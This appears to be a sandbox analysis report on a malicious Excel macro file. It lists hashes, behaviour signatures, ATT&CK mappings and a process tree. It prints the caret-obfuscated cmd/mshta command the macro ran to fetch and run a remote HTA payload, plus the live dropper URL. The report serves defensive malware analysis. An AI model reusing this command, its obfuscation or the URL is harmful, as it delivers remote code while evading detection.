d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb

General

Target

?i=1qfammwkd.xlsm
Size

114KB
MD5

f8ecaf3d4168b075f418c121a763ae0f
SHA1

cd99515256f845d4b6ca4f8a4f5ff6d0f1d0eff3
SHA256

d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb
SHA512

bb37a13fdef41887f119faf79af415cb14a894f9b5ef757a7be9a665afcd0df5a491b6b4a4bf0ed46c5e6b6a0dcd247ad52e1f94b4567d1287d319ed7459ce60

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://92.255.57.195/sec/sec.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2852	4824	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

11 4780 mshta.exe

flow	pid	process
11	4780	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4824 EXCEL.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE
4824	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 4824 wrote to memory of 2852	4824	EXCEL.EXE	cmd.exe
PID 4824 wrote to memory of 2852	4824	EXCEL.EXE	cmd.exe
PID 2852 wrote to memory of 4780	2852	cmd.exe	mshta.exe
PID 2852 wrote to memory of 4780	2852	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\_i=1qfammwkd.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4824

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2852

C:\Windows\system32\mshta.exe
mshta http://0x5cff39c3/sec/sec.html
3⤵
- Blocklisted process makes network request
PID:4780

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2852-129-0x0000000000000000-mapping.dmp

Download
memory/4780-130-0x0000000000000000-mapping.dmp

Download
memory/4824-124-0x00007FFDBA230000-0x00007FFDBA240000-memory.dmp

Filesize
64KB

Download
memory/4824-125-0x00007FFDBA230000-0x00007FFDBA240000-memory.dmp

Filesize
64KB

Download
memory/4824-126-0x00007FFDBA230000-0x00007FFDBA240000-memory.dmp

Filesize
64KB

Download
memory/4824-127-0x00007FFDBA230000-0x00007FFDBA240000-memory.dmp

Filesize
64KB

Download
memory/4824-128-0x00007FFDBA230000-0x00007FFDBA240000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads